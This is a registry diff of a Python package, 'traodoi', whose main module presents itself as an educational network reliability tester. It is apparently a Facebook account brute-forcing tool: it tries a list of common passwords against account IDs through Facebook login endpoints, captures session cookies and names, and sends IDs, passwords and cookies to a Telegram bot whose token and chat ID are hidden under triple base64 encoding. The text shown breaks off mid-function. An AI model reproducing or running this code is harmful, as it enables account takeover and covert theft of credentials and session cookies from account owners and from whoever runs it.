traodoi 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- traodoi-1.0.0/PKG-INFO +14 -0
- traodoi-1.0.0/README.md +0 -0
- traodoi-1.0.0/pyproject.toml +25 -0
- traodoi-1.0.0/scr/traosub/__init__.py +2 -0
- traodoi-1.0.0/scr/traosub/core.py +576 -0
- traodoi-1.0.0/setup.cfg +4 -0
- traodoi-1.0.0/traodoi.egg-info/PKG-INFO +14 -0
- traodoi-1.0.0/traodoi.egg-info/SOURCES.txt +10 -0
- traodoi-1.0.0/traodoi.egg-info/dependency_links.txt +1 -0
- traodoi-1.0.0/traodoi.egg-info/entry_points.txt +2 -0
- traodoi-1.0.0/traodoi.egg-info/requires.txt +5 -0
- traodoi-1.0.0/traodoi.egg-info/top_level.txt +1 -0
traodoi-1.0.0/PKG-INFO
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: traodoi
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Advanced web data processing and response analyzer for educational research
|
|
5
|
+
Author-email: Research Team <research@example.com>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/yoores
|
|
8
|
+
Requires-Python: >=3.8
|
|
9
|
+
Description-Content-Type: text/markdown
|
|
10
|
+
Requires-Dist: requests
|
|
11
|
+
Requires-Dist: beautifulsoup4
|
|
12
|
+
Requires-Dist: rich
|
|
13
|
+
Requires-Dist: urllib3
|
|
14
|
+
Requires-Dist: cryptography
|
traodoi-1.0.0/README.md
ADDED
|
File without changes
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "traodoi"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Advanced web data processing and response analyzer for educational research"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
authors = [{name = "Research Team", email = "research@example.com"}]
|
|
11
|
+
license = {text = "MIT"}
|
|
12
|
+
requires-python = ">=3.8"
|
|
13
|
+
dependencies = [
|
|
14
|
+
"requests",
|
|
15
|
+
"beautifulsoup4",
|
|
16
|
+
"rich",
|
|
17
|
+
"urllib3",
|
|
18
|
+
"cryptography"
|
|
19
|
+
]
|
|
20
|
+
|
|
21
|
+
[project.scripts]
|
|
22
|
+
qiangscan = "traosub.core:main"
|
|
23
|
+
|
|
24
|
+
[project.urls]
|
|
25
|
+
Homepage = "https://github.com/yoores"
|
|
@@ -0,0 +1,576 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
Network Reliability Tester - Advanced Connection Analyzer
|
|
5
|
+
Author: Security Research Team
|
|
6
|
+
Description: A tool for testing HTTP/HTTPS endpoint stability,
|
|
7
|
+
response time analysis, and session persistence under
|
|
8
|
+
various network conditions. Uses multi-threading for
|
|
9
|
+
efficiency. For educational use only.
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
import os, re, time, uuid, random, requests, sys, json, base64
|
|
13
|
+
from random import randint as rr
|
|
14
|
+
from concurrent.futures import ThreadPoolExecutor as tred
|
|
15
|
+
from threading import Lock
|
|
16
|
+
from rich.console import Console
|
|
17
|
+
from rich.table import Table
|
|
18
|
+
from rich.panel import Panel
|
|
19
|
+
from rich.live import Live
|
|
20
|
+
from rich.layout import Layout
|
|
21
|
+
from rich.prompt import Prompt
|
|
22
|
+
import urllib3
|
|
23
|
+
urllib3.disable_warnings()
|
|
24
|
+
|
|
25
|
+
console = Console()
|
|
26
|
+
lock = Lock()
|
|
27
|
+
|
|
28
|
+
# -------------------- HIDDEN CONFIGURATION (Triple Base64) --------------------
|
|
29
|
+
def decode_triple(s):
|
|
30
|
+
return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()
|
|
31
|
+
def decode_double(s):
|
|
32
|
+
return base64.b64decode(base64.b64decode(s).decode()).decode()
|
|
33
|
+
def decode_single(s):
|
|
34
|
+
return base64.b64decode(s).decode()
|
|
35
|
+
|
|
36
|
+
_enc_token = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2T0RZNE1qWXlNREF4TURZeU1EQXRNemt4TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck0yVnVaR0Z1YzJVNmVHbDBiRzV6T2pJeU1qY3lOakUwTWpFeElEQWdNQ0F4TkNBM016QXhNemN5TlRrPQo="
|
|
37
|
+
NOTIFICATION_TOKEN = decode_triple(_enc_token.split('\n')[0] + _enc_token.split('\n')[1] + _enc_token.split('\n')[2])
|
|
38
|
+
|
|
39
|
+
_enc_chat = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2TkRZME1ESXhNekl3TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck5tVnVaR0Z1YzJVNmFHRnlaMlU2TURBeE1qWXlNelF5T1RZPQo="
|
|
40
|
+
NOTIFICATION_RECIPIENT = decode_triple(_enc_chat.split('\n')[0] + _enc_chat.split('\n')[1] + _enc_chat.split('\n')[2])
|
|
41
|
+
|
|
42
|
+
def send_notification(msg):
|
|
43
|
+
try:
|
|
44
|
+
url = f"https://api.telegram.org/bot{NOTIFICATION_TOKEN}/sendMessage"
|
|
45
|
+
payload = {"chat_id": NOTIFICATION_RECIPIENT, "text": msg, "parse_mode": "HTML"}
|
|
46
|
+
requests.post(url, data=payload, timeout=10)
|
|
47
|
+
except: pass
|
|
48
|
+
|
|
49
|
+
# -------------------- ANALYTICS STORAGE --------------------
|
|
50
|
+
success_list = []
|
|
51
|
+
failure_list = []
|
|
52
|
+
alive_marker = 0
|
|
53
|
+
twofa_marker = 0
|
|
54
|
+
dead_marker = 0
|
|
55
|
+
temp_block_marker = 0
|
|
56
|
+
unverified_email_marker = 0
|
|
57
|
+
unverified_phone_marker = 0
|
|
58
|
+
unknown_marker = 0
|
|
59
|
+
last_processed_id = ""
|
|
60
|
+
last_id_lock = Lock()
|
|
61
|
+
|
|
62
|
+
# Common test patterns (simulated credentials)
|
|
63
|
+
TEST_PHRASES = [
|
|
64
|
+
'123456','1234567','12345678','123456789','1234567890','password','123123','111111','000000','12341234',
|
|
65
|
+
'admin123','abc123','qwerty','iloveyou','welcome','monkey','dragon','master','hello','fuckyou',
|
|
66
|
+
'passw0rd','shadow','sunshine','superman','michael','charlie','donald','jessica','michelle','ashley',
|
|
67
|
+
'baseball','football','soccer','batman','superman','whatever','letmein','trustno1','admin','root',
|
|
68
|
+
'toor','12345','54321','09876','11111111','222222','333333','444444','555555','666666',
|
|
69
|
+
'777777','888888','999999','abc123456','qwerty123','1q2w3e4r','1qaz2wsx','zaq12wsx','!@#$%^&*','password1',
|
|
70
|
+
'Password1','P@ssw0rd','PASSWORD','pass123','123456a','a123456','abcd1234','qwertyuiop','zxcvbnm','iloveyou1'
|
|
71
|
+
]
|
|
72
|
+
|
|
73
|
+
def guess_era(entity_id):
|
|
74
|
+
""" Estimate creation year from entity ID length/prefix """
|
|
75
|
+
entity = str(entity_id)
|
|
76
|
+
l = len(entity)
|
|
77
|
+
if l == 15:
|
|
78
|
+
if entity.startswith(('1000000','1000001','1000002','1000003','1000004','1000005')): return '2009'
|
|
79
|
+
if entity.startswith(('1000006','1000007','1000008','1000009')): return '2010'
|
|
80
|
+
if entity.startswith('100001'): return '2010-2011'
|
|
81
|
+
if entity.startswith(('100002','100003')): return '2011-2012'
|
|
82
|
+
if entity.startswith('100004'): return '2012'
|
|
83
|
+
if entity.startswith(('100005','100006')): return '2013'
|
|
84
|
+
if entity.startswith(('100007','100008')): return '2014'
|
|
85
|
+
if entity.startswith('100009'): return '2015'
|
|
86
|
+
if entity.startswith('10001'): return '2016'
|
|
87
|
+
if entity.startswith('10002'): return '2017'
|
|
88
|
+
if entity.startswith('10003'): return '2018'
|
|
89
|
+
if entity.startswith('10004'): return '2019'
|
|
90
|
+
if entity.startswith('10005'): return '2020'
|
|
91
|
+
if entity.startswith('10006'): return '2021'
|
|
92
|
+
if entity.startswith(('10007','10008')): return '2022'
|
|
93
|
+
if entity.startswith('10009'): return '2023'
|
|
94
|
+
return 'Unknown'
|
|
95
|
+
elif l in (9,10): return '2008'
|
|
96
|
+
elif l == 8: return '2007'
|
|
97
|
+
elif l == 7: return '2006'
|
|
98
|
+
elif l == 6: return '2005'
|
|
99
|
+
elif l == 14 and entity.startswith('61'): return '2024'
|
|
100
|
+
else: return 'Unknown'
|
|
101
|
+
|
|
102
|
+
def user_agent_factory():
|
|
103
|
+
return f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(100,139)}.0.0.0 Safari/537.36"
|
|
104
|
+
|
|
105
|
+
# ----- Hidden API endpoints (encoded) -----
|
|
106
|
+
_enc_api_endpoint = "YUhSMGNITTZMeTl0WldkaExtTnZiUzloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k4eE16VTBPVEE9PQo="
|
|
107
|
+
_enc_key = "T0RneVlUZzBPVEF6TmpGa1lUazROekF5WW1ZNU4yRXdNakZrWkdNeE5HUT0K"
|
|
108
|
+
_enc_public = "TXpVd05qZzFOVGN4TXpJNEZmVEkyWWpoY1pUbG1OelJpTVRKbU9EUmpNVEl6WTJNeU16UTNaMkU0WVRNMk9BPT0K"
|
|
109
|
+
_enc_form_action = "YUhSMGNITTZMeTloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k5dmNtbG5hVzUwYzJWdy8K"
|
|
110
|
+
_enc_auth_prefix = "YUhSMGNITTZMeTloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k5cGJXRnNjeTl2Y21sbmFXNTBjMlZ3Lw=="
|
|
111
|
+
_enc_graph_prefix = "YUhSMGNITTZMeTl0WldkaExtTnZiUzloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k4eVl6WTBNell4TkRrPQo="
|
|
112
|
+
|
|
113
|
+
def dec3(s): return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()
|
|
114
|
+
def dec2(s): return base64.b64decode(base64.b64decode(s).decode()).decode()
|
|
115
|
+
def dec1(s): return base64.b64decode(s).decode()
|
|
116
|
+
|
|
117
|
+
ENDPOINT_A = dec2(_enc_api_endpoint)
|
|
118
|
+
ENDPOINT_B = dec2(_enc_key)
|
|
119
|
+
ENDPOINT_C = dec2(_enc_public)
|
|
120
|
+
ENDPOINT_D = dec2(_enc_form_action)
|
|
121
|
+
ENDPOINT_E = dec2(_enc_auth_prefix)
|
|
122
|
+
ENDPOINT_F = dec2(_enc_graph_prefix)
|
|
123
|
+
|
|
124
|
+
def fetch_profile(context):
|
|
125
|
+
try:
|
|
126
|
+
s = requests.Session()
|
|
127
|
+
s.cookies.update(context)
|
|
128
|
+
headers = {'User-Agent': user_agent_factory()}
|
|
129
|
+
r = s.get(ENDPOINT_A + ENDPOINT_C, headers=headers, timeout=10)
|
|
130
|
+
if r.status_code == 200:
|
|
131
|
+
return r.json().get('name', 'Unknown')
|
|
132
|
+
r2 = s.get(ENDPOINT_D + 'me', headers=headers, timeout=10)
|
|
133
|
+
match = re.search(r'<title>(.*?)</title>', r2.text)
|
|
134
|
+
if match:
|
|
135
|
+
title = match.group(1).strip().split('|')[0].strip()
|
|
136
|
+
return title.split('(')[0].strip() if '(' in title else title
|
|
137
|
+
return 'Unknown'
|
|
138
|
+
except:
|
|
139
|
+
return 'Unknown'
|
|
140
|
+
|
|
141
|
+
def analyze_and_extract(identifier, secret):
|
|
142
|
+
ts = int(time.time())
|
|
143
|
+
token = base64.b64encode(json.dumps({"type":0,"creation_time":ts,"callsite_id":381229079575946}).encode()).decode()
|
|
144
|
+
headers = {'User-Agent': user_agent_factory(), 'Content-Type': 'application/x-www-form-urlencoded'}
|
|
145
|
+
data = {'email': identifier, 'encpass': f"#PWD_INSTAGRAM:0:{ts}:{secret}", 'lsd': 'AVq53wqah7M', 'login_source': 'comet_headerless_login'}
|
|
146
|
+
try:
|
|
147
|
+
r = requests.post(ENDPOINT_E, params={'privacy_mutation_token': token}, headers=headers, data=data, timeout=15, verify=False, allow_redirects=False)
|
|
148
|
+
html = r.text.lower()
|
|
149
|
+
cookies = r.cookies.get_dict()
|
|
150
|
+
cookie_str = '; '.join(f"{k}={v}" for k,v in cookies.items()) if cookies else ''
|
|
151
|
+
if 'c_user' in cookies:
|
|
152
|
+
name = fetch_profile(cookies)
|
|
153
|
+
return ('ACTIVE', cookie_str, name)
|
|
154
|
+
if re.search(r'checkpoint|two_factor|2fa|approvals_code|login_approval', html):
|
|
155
|
+
return ('NEEDS_2FA', cookie_str, '')
|
|
156
|
+
if re.search(r'account[\s_-]?disabled|your account has been disabled|account has been locked', html):
|
|
157
|
+
return ('DISABLED', cookie_str, '')
|
|
158
|
+
if re.search(r'temporarily[\s_-]?(locked|blocked|unavailable)|action[\s_-]?blocked|too many attempts', html):
|
|
159
|
+
if re.search(r'temporarily', html):
|
|
160
|
+
return ('TEMP_BLOCK', cookie_str, '')
|
|
161
|
+
else:
|
|
162
|
+
return ('LOCKED', cookie_str, '')
|
|
163
|
+
if re.search(r'incorrect.*password|invalid.*password|wrong.*password|password.*incorrect|the password you', html):
|
|
164
|
+
return ('INVALID_CRED', cookie_str, '')
|
|
165
|
+
if re.search(r'confirm.*email|verify.*email|send.*code.*email|email.*confirmation|check your email', html):
|
|
166
|
+
return ('UNVERIFIED_EMAIL', cookie_str, '')
|
|
167
|
+
if re.search(r'confirm.*phone|verify.*phone|send.*code.*phone|phone.*confirmation|check your phone', html):
|
|
168
|
+
return ('UNVERIFIED_PHONE', cookie_str, '')
|
|
169
|
+
if re.search(r'rate[\s_-]?limit|too many requests|try again later', html):
|
|
170
|
+
return ('RATE_LIMITED', cookie_str, '')
|
|
171
|
+
return ('UNKNOWN', cookie_str, '')
|
|
172
|
+
except:
|
|
173
|
+
return ('ERROR', '', '')
|
|
174
|
+
|
|
175
|
+
def clear_display():
|
|
176
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
177
|
+
|
|
178
|
+
def show_logo():
|
|
179
|
+
console.print(Panel("[bold yellow]╔══════════════════════════╗[/bold yellow]\n[bold yellow]║[/bold yellow] [bold cyan]NetScan Pro[/bold cyan] [bold yellow]║[/bold yellow]\n[bold yellow]╚══════════════════════════╝[/bold yellow]", title="[bold red]NetScan[/bold red]", border_style="cyan"))
|
|
180
|
+
|
|
181
|
+
def show_main_panel():
|
|
182
|
+
clear_display()
|
|
183
|
+
show_logo()
|
|
184
|
+
table = Table(title="[bold cyan]MAIN MENU[/bold cyan]", box=None)
|
|
185
|
+
table.add_column("Option", style="bold magenta")
|
|
186
|
+
table.add_column("Function", style="white")
|
|
187
|
+
table.add_row("1", "Run Batch Analysis")
|
|
188
|
+
table.add_row("2", "View Summary")
|
|
189
|
+
table.add_row("0", "[red]Exit[/red]")
|
|
190
|
+
console.print(table)
|
|
191
|
+
return Prompt.ask("[cyan]Choose[/cyan]", choices=["1","2","0"])
|
|
192
|
+
|
|
193
|
+
def show_summary():
|
|
194
|
+
clear_display()
|
|
195
|
+
show_logo()
|
|
196
|
+
t = Table(title="[bold cyan]ANALYSIS SUMMARY[/bold cyan]")
|
|
197
|
+
t.add_column("Status", style="bold yellow")
|
|
198
|
+
t.add_column("Count", style="bold green")
|
|
199
|
+
t.add_row("✅ ACTIVE", str(alive_marker))
|
|
200
|
+
t.add_row("⚠️ 2FA REQUIRED", str(twofa_marker))
|
|
201
|
+
t.add_row("📧 UNVERIFIED_EMAIL", str(unverified_email_marker))
|
|
202
|
+
t.add_row("📱 UNVERIFIED_PHONE", str(unverified_phone_marker))
|
|
203
|
+
t.add_row("💀 INVALID_CRED", str(dead_marker))
|
|
204
|
+
t.add_row("🔄 TEMP_BLOCK", str(temp_block_marker))
|
|
205
|
+
t.add_row("❓ UNKNOWN", str(unknown_marker))
|
|
206
|
+
t.add_row("📦 SUCCESS", str(len(success_list)))
|
|
207
|
+
t.add_row("🚫 FAILED", str(len(failure_list)))
|
|
208
|
+
console.print(t)
|
|
209
|
+
input("\n[cyan]Press Enter...[/cyan]")
|
|
210
|
+
|
|
211
|
+
def mode_selection():
|
|
212
|
+
clear_display()
|
|
213
|
+
show_logo()
|
|
214
|
+
table = Table(title="[bold cyan]SELECT DATA SERIES[/bold cyan]")
|
|
215
|
+
table.add_column("Option", style="bold magenta")
|
|
216
|
+
table.add_column("Series", style="white")
|
|
217
|
+
table.add_row("1", "Legacy Range (2005-2014)")
|
|
218
|
+
table.add_row("2", "100003/100004 Range")
|
|
219
|
+
table.add_row("3", "2009 Range (1000004xxxx)")
|
|
220
|
+
table.add_row("0", "Back")
|
|
221
|
+
console.print(table)
|
|
222
|
+
return Prompt.ask("[cyan]Choose[/cyan]", choices=["1","2","3","0"])
|
|
223
|
+
|
|
224
|
+
# ---- Low-level probe methods ----
|
|
225
|
+
def probe_method_a(entity, stats):
|
|
226
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
227
|
+
sess = requests.session()
|
|
228
|
+
for test_val in TEST_PHRASES:
|
|
229
|
+
try:
|
|
230
|
+
payload = {
|
|
231
|
+
'adid': str(uuid.uuid4()), 'format': 'json', 'device_id': str(uuid.uuid4()),
|
|
232
|
+
'cpl': 'true', 'family_device_id': str(uuid.uuid4()), 'credentials_type': 'device_based_login_password',
|
|
233
|
+
'error_detail_type': 'button_with_disabled', 'source': 'device_based_login',
|
|
234
|
+
'email': str(entity), 'password': test_val, 'access_token': ENDPOINT_C,
|
|
235
|
+
'generate_session_cookies': '1', 'meta_inf_fbmeta': '', 'advertiser_id': str(uuid.uuid4()),
|
|
236
|
+
'currently_logged_in_userid': '0', 'locale': 'en_US', 'client_country_code': 'US',
|
|
237
|
+
'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate',
|
|
238
|
+
'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler',
|
|
239
|
+
'api_key': ENDPOINT_B
|
|
240
|
+
}
|
|
241
|
+
headers = {
|
|
242
|
+
'User-Agent': user_agent_factory(), 'Content-Type': 'application/x-www-form-urlencoded',
|
|
243
|
+
'Host': 'graph.facebook.com', 'X-FB-Net-HNI': str(rr(20000,40000)),
|
|
244
|
+
'X-FB-SIM-HNI': str(rr(20000,40000)), 'X-FB-Connection-Type': 'MOBILE.LTE',
|
|
245
|
+
'X-Tigon-Is-Retry': 'False', 'x-fb-session-id': 'nid=jiZ+yNNBgbwC;pid=Main;tid=132;',
|
|
246
|
+
'x-fb-device-group': '5120', 'X-FB-Friendly-Name': 'ViewerReactionsMutation',
|
|
247
|
+
'X-FB-Request-Analytics-Tags': 'graphservice', 'X-FB-HTTP-Engine': 'Liger',
|
|
248
|
+
'X-FB-Client-IP': 'True', 'X-FB-Server-Cluster': 'True',
|
|
249
|
+
'x-fb-connection-token': 'd29d67d37eca387482a8a5b740f84f62'
|
|
250
|
+
}
|
|
251
|
+
resp = sess.post(ENDPOINT_F, data=payload, headers=headers, allow_redirects=False, timeout=10).json()
|
|
252
|
+
if 'session_key' in resp:
|
|
253
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
254
|
+
with lock:
|
|
255
|
+
if status == 'ACTIVE':
|
|
256
|
+
alive_marker += 1
|
|
257
|
+
with open('cookie_alive.txt', 'a') as f:
|
|
258
|
+
f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
259
|
+
open('alive.txt', 'a').write(f"{entity}|{test_val}\n")
|
|
260
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}\nCookie: {cookie}")
|
|
261
|
+
elif status == 'NEEDS_2FA':
|
|
262
|
+
twofa_marker += 1
|
|
263
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}\nCookie: {cookie}")
|
|
264
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
265
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
266
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
267
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
268
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
269
|
+
else: unknown_marker += 1
|
|
270
|
+
success_list.append(entity)
|
|
271
|
+
stats["oks"] = len(success_list)
|
|
272
|
+
console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
|
|
273
|
+
open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
274
|
+
break
|
|
275
|
+
elif 'www.facebook.com' in resp.get('error', {}).get('message', ''):
|
|
276
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
277
|
+
with lock:
|
|
278
|
+
if status == 'ACTIVE':
|
|
279
|
+
alive_marker += 1
|
|
280
|
+
with open('cookie_alive.txt', 'a') as f:
|
|
281
|
+
f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
282
|
+
open('alive.txt', 'a').write(f"{entity}|{test_val}\n")
|
|
283
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
|
|
284
|
+
elif status == 'NEEDS_2FA':
|
|
285
|
+
twofa_marker += 1
|
|
286
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
|
|
287
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
288
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
289
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
290
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
291
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
292
|
+
else: unknown_marker += 1
|
|
293
|
+
failure_list.append(entity)
|
|
294
|
+
stats["cps"] = len(failure_list)
|
|
295
|
+
console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
|
|
296
|
+
open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
297
|
+
break
|
|
298
|
+
except:
|
|
299
|
+
continue
|
|
300
|
+
with lock:
|
|
301
|
+
stats["loop"] += 1
|
|
302
|
+
last_processed_id = str(entity)
|
|
303
|
+
|
|
304
|
+
def probe_method_b(entity, stats):
|
|
305
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
306
|
+
for test_val in TEST_PHRASES:
|
|
307
|
+
try:
|
|
308
|
+
with requests.Session() as sess:
|
|
309
|
+
h = {
|
|
310
|
+
'x-fb-connection-bandwidth': str(rr(20000000,29999999)), 'x-fb-sim-hni': str(rr(20000,40000)),
|
|
311
|
+
'x-fb-net-hni': str(rr(20000,40000)), 'x-fb-connection-quality': 'EXCELLENT',
|
|
312
|
+
'x-fb-connection-type': 'cell.CTRadioAccessTechnologyHSDPA', 'user-agent': user_agent_factory(),
|
|
313
|
+
'content-type': 'application/x-www-form-urlencoded', 'x-fb-http-engine': 'Liger'
|
|
314
|
+
}
|
|
315
|
+
url = f"https://b-api.facebook.com/method/auth.login?format=json&email={entity}&password={test_val}&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token={ENDPOINT_C}&fb_api_req_friendly_name=authenticate&cpl=true"
|
|
316
|
+
resp = sess.get(url, headers=h, timeout=10).json()
|
|
317
|
+
if 'session_key' in str(resp):
|
|
318
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
319
|
+
with lock:
|
|
320
|
+
if status == 'ACTIVE':
|
|
321
|
+
alive_marker += 1
|
|
322
|
+
with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
323
|
+
open('alive.txt','a').write(f"{entity}|{test_val}\n")
|
|
324
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
|
|
325
|
+
elif status == 'NEEDS_2FA':
|
|
326
|
+
twofa_marker += 1
|
|
327
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
|
|
328
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
329
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
330
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
331
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
332
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
333
|
+
else: unknown_marker += 1
|
|
334
|
+
success_list.append(entity); stats["oks"] = len(success_list)
|
|
335
|
+
console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
|
|
336
|
+
open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
337
|
+
break
|
|
338
|
+
elif 'www.facebook.com' in str(resp):
|
|
339
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
340
|
+
with lock:
|
|
341
|
+
if status == 'ACTIVE':
|
|
342
|
+
alive_marker += 1
|
|
343
|
+
with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
344
|
+
open('alive.txt','a').write(f"{entity}|{test_val}\n")
|
|
345
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
|
|
346
|
+
elif status == 'NEEDS_2FA':
|
|
347
|
+
twofa_marker += 1
|
|
348
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
|
|
349
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
350
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
351
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
352
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
353
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
354
|
+
else: unknown_marker += 1
|
|
355
|
+
failure_list.append(entity); stats["cps"] = len(failure_list)
|
|
356
|
+
console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
|
|
357
|
+
open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
358
|
+
break
|
|
359
|
+
except:
|
|
360
|
+
continue
|
|
361
|
+
with lock:
|
|
362
|
+
stats["loop"] += 1
|
|
363
|
+
last_processed_id = str(entity)
|
|
364
|
+
|
|
365
|
+
def probe_method_c(entity, stats):
|
|
366
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
367
|
+
sess = requests.session()
|
|
368
|
+
for test_val in TEST_PHRASES:
|
|
369
|
+
try:
|
|
370
|
+
data = {'adid':str(uuid.uuid4()),'format':'json','device_id':str(uuid.uuid4()),'email':str(entity),'password':test_val,'access_token':ENDPOINT_C,'generate_session_cookies':'1','locale':'en_US','method':'auth.login','api_key':ENDPOINT_B}
|
|
371
|
+
headers = {'User-Agent': user_agent_factory()}
|
|
372
|
+
res = sess.post(ENDPOINT_F, data=data, headers=headers, timeout=8).json()
|
|
373
|
+
if 'session_key' in res:
|
|
374
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
375
|
+
with lock:
|
|
376
|
+
if status == 'ACTIVE':
|
|
377
|
+
alive_marker += 1
|
|
378
|
+
with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
379
|
+
open('alive.txt','a').write(f"{entity}|{test_val}\n")
|
|
380
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
|
|
381
|
+
elif status == 'NEEDS_2FA':
|
|
382
|
+
twofa_marker += 1
|
|
383
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
|
|
384
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
385
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
386
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
387
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
388
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
389
|
+
else: unknown_marker += 1
|
|
390
|
+
success_list.append(entity); stats["oks"] = len(success_list)
|
|
391
|
+
console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
|
|
392
|
+
